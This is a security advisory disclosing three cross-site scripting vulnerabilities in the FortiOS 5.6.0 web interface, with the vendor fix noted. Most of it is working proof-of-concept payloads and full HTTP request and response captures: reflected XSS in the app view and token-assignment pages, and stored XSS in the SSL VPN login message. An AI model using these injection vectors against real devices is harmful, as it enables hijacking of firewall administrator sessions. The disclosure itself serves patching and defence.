FortiOS 5.6.0 Cross Site Scripting

`# Title: FortiOS <= 5.6.0 Multiple XSS Vulnerabilities  
# Vendor: Fortinet (www.fortinet.com)  
# CVE: CVE-2017-3131, CVE-2017-3132, CVE-2017-3133  
# Date: 28.07.2016  
# Author: Patryk Bogdan (@patryk_bogdan)  
  
Affected FortiNet products:  
* CVE-2017-3131 : FortiOS versions 5.4.0 to 5.6.0  
* CVE-2017-3132 : FortiOS versions upto 5.6.0  
* CVE-2017-3133 : FortiOS versions upto 5.6.0  
  
Fix:  
Upgrade to FortiOS version 5.6.1  
  
Video PoC (add admin):  
https://youtu.be/fcpLStCD61Q  
  
Vendor advisory:  
https://fortiguard.com/psirt/FG-IR-17-104  
  
  
Vulns:  
  
1. XSS in WEB UI - Applications:  
  
URL:  
https://192.168.1.99/ng/fortiview/app/15832" onmouseover=alert('XSS') x="y  
  
Http request:  
GET /ng/fortiview/app/15832%22%20onmouseover=alert('XSS')%20x=%22y HTTP/1.1  
Host: 192.168.1.99  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: pl,en-US;q=0.7,en;q=0.3  
Cookie: APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AZxzmYv40KrD1JvCdcctTzmuS+OEd08y+4Vh54tq%2Fap2ej%2F1gJfbaindJ5r4wDXZh%0A4q%2FfgVCdTfMFn+Mr6Xj5Og%3D%3D%0A%26AuthHash%3D9+TbiFXbk+Qkks0pPlkbNDx2L1EA%0A"; ccsrftoken_573485771="5424C6B3842788A23E3413307F1DFFC5"; ccsrftoken="5424C6B3842788A23E3413307F1DFFC5"; VDOM_573485771=root; csrftoken_573485771=da85e919f71a610c45aff174b23c7a10  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
Http response:  
HTTP/1.1 200 OK  
Date: Thu, 23 Mar 2017 12:07:47 GMT  
Server: xxxxxxxx-xxxxx  
Cache-Control: no-cache  
Pragma: no-cache  
Expires: -1  
Vary: Accept-Encoding  
Content-Length: 6150  
Connection: close  
Content-Type: text/html; charset=utf-8  
X-Frame-Options: SAMEORIGIN  
Content-Security-Policy: frame-ancestors 'self'  
X-UA-Compatible: IE=Edge  
(...)  
<span class="fgd-app tooltip id_15832" onmouseover="alert('XSS')" x="y " data-address="undefined" data-dport="443" data-protocol="6"><a href="https://www.fortiguard.com/fos/15832" onclick="return false;" data-hasqtip="2"><span class="app_icon app15832" onmouseover="alert('XSS')" x="y"></span><label class="app_label" title="">15832" onmouseover=alert('XSS') x="y</label></a></span>  
(...)  
  
  
2. XSS in WEB UI - Assign Token:  
  
URL:  
https://192.168.1.99/p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert('XSS')%3C/script%3E%3Cscript%3E  
  
Http request:  
GET /p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E%3Cscript%3E HTTP/1.1  
Host: 192.168.1.99  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: pl,en-US;q=0.7,en;q=0.3  
Cookie: APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0ALuXSfDjrp0Gel8F8TeKlBgC3kk4P1mhdELHr2Cicb3Zb6hBUnT9ZZnjXC44Dc7bD%0Ae2ymJG%2FgbHFa+4N9AVDIrg%3D%3D%0A%26AuthHash%3DMyJMLA32ueruHIEKia2eb9BWi8oA%0A"; ccsrftoken_573485771="314A25687F6B2075F9413405575D477"; ccsrftoken="314A25687F6B2075F9413405575D477"; VDOM_573485771=root; csrftoken_573485771=593eb7ed5cb9704ffa4f388febbd5160  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
Http response:  
HTTP/1.1 200 OK  
Date: Thu, 23 Mar 2017 13:39:17 GMT  
Server: xxxxxxxx-xxxxx  
Content-Security-Policy: frame-ancestors 'self'  
Expires: Thu, 23 Mar 2017 13:39:17 GMT  
Vary: Cookie,Accept-Encoding  
Last-Modified: Thu, 23 Mar 2017 13:39:17 GMT  
X-UA-Compatible: IE=Edge  
Cache-Control: max-age=0  
X-FRAME-OPTIONS: SAMEORIGIN  
Set-Cookie: csrftoken_573485771=593eb7ed5cb9704ffa4f388febbd5160; expires=Thu, 22-Mar-2018 13:39:17 GMT; Max-Age=31449600; Path=/  
Connection: close  
Content-Type: text/html; charset=utf-8  
Content-Length: 3485  
(...)  
<script type="text/javascript">  
var ftokens = [];  
var action = '</script><script>alert('XSS')</script><script>';  
</script>  
</head>  
(...)  
  
  
3. Stored XSS in WEB UI - Replacement Messages:  
  
#1 - Http request:  
POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1  
Host: 192.168.1.99  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: */*  
Accept-Language: pl,en-US;q=0.7,en;q=0.3  
Referer: https://192.168.1.99/p/system/replacemsg/edit/sslvpn/sslvpn-login/  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-CSRFTOKEN: d58f666c794024295cece8c5b8b6a3ff  
X-Requested-With: XMLHttpRequest  
Content-Length: 125  
Cookie: guest_user_group_21232f297a57a5a743894a0e4a801fc3=; APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AYLFfh9FU2cKvm+hvxa8SbqbuwSnhEdeYV7CatzaScTAAOryJNdjQjDTLke8gJLfS%0A8Zx7lNyNxQr6xJIaKg5lpA%3D%3D%0A%26AuthHash%3D5NI4JPbIioX2ZJvxtEOGAOJ7q5UA%0A"; ccsrftoken_573485771="592068D7C2B5BDB7A91833DB6A512C14"; ccsrftoken="592068D7C2B5BDB7A91833DB6A512C14"; VDOM_573485771=root; csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D  
DNT: 1  
Connection: close  
  
csrfmiddlewaretoken=d58f666c794024295cece8c5b8b6a3ff&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3Ealert('XSS')%3C%2Fscript%3E%0A  
  
#1 - Http response:  
HTTP/1.1 302 FOUND  
Date: Thu, 23 Mar 2017 15:36:33 GMT  
Server: xxxxxxxx-xxxxx  
Content-Security-Policy: frame-ancestors 'self'  
Expires: Thu, 23 Mar 2017 15:36:33 GMT  
Last-Modified: Thu, 23 Mar 2017 15:36:33 GMT  
Cache-Control: max-age=0  
X-FRAME-OPTIONS: SAMEORIGIN  
X-UA-Compatible: IE=Edge  
Set-Cookie: EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%2C%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D; Path=/  
Location: https://192.168.1.99/p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/  
Connection: close  
Content-Type: text/html; charset=utf-8  
Content-Length: 0  
  
#2 - Http request:  
GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1  
Host: 192.168.1.99  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: */*  
Accept-Language: pl,en-US;q=0.7,en;q=0.3  
Referer: https://192.168.1.99/p/system/replacemsg/edit/sslvpn/sslvpn-login/  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-CSRFTOKEN: d58f666c794024295cece8c5b8b6a3ff  
X-Requested-With: XMLHttpRequest  
Cookie: guest_user_group_21232f297a57a5a743894a0e4a801fc3=; APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AYLFfh9FU2cKvm+hvxa8SbqbuwSnhEdeYV7CatzaScTAAOryJNdjQjDTLke8gJLfS%0A8Zx7lNyNxQr6xJIaKg5lpA%3D%3D%0A%26AuthHash%3D5NI4JPbIioX2ZJvxtEOGAOJ7q5UA%0A"; ccsrftoken_573485771="592068D7C2B5BDB7A91833DB6A512C14"; ccsrftoken="592068D7C2B5BDB7A91833DB6A512C14"; VDOM_573485771=root; csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%2C%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D  
DNT: 1  
Connection: close  
  
#2 - Http response:  
HTTP/1.1 200 OK  
Date: Thu, 23 Mar 2017 15:36:33 GMT  
Server: xxxxxxxx-xxxxx  
Content-Security-Policy: frame-ancestors 'self'  
Expires: Thu, 23 Mar 2017 15:36:33 GMT  
Vary: Cookie,Accept-Encoding  
Last-Modified: Thu, 23 Mar 2017 15:36:33 GMT  
X-UA-Compatible: IE=Edge  
Cache-Control: max-age=0  
X-FRAME-OPTIONS: SAMEORIGIN  
Set-Cookie: csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; expires=Thu, 22-Mar-2018 15:36:33 GMT; Max-Age=31449600; Path=/  
Connection: close  
Content-Type: text/html; charset=utf-8  
Content-Length: 70940  
(...)  
<form id="replacemsg_form">  
<div style='display:none'><input type='hidden' name='csrfmiddlewaretoken' value='d58f666c794024295cece8c5b8b6a3ff' /></div> <textarea id="buffer" name="buffer">ABC</textarea>  
<script>alert('XSS')</script>  
</textarea>  
(...)  
`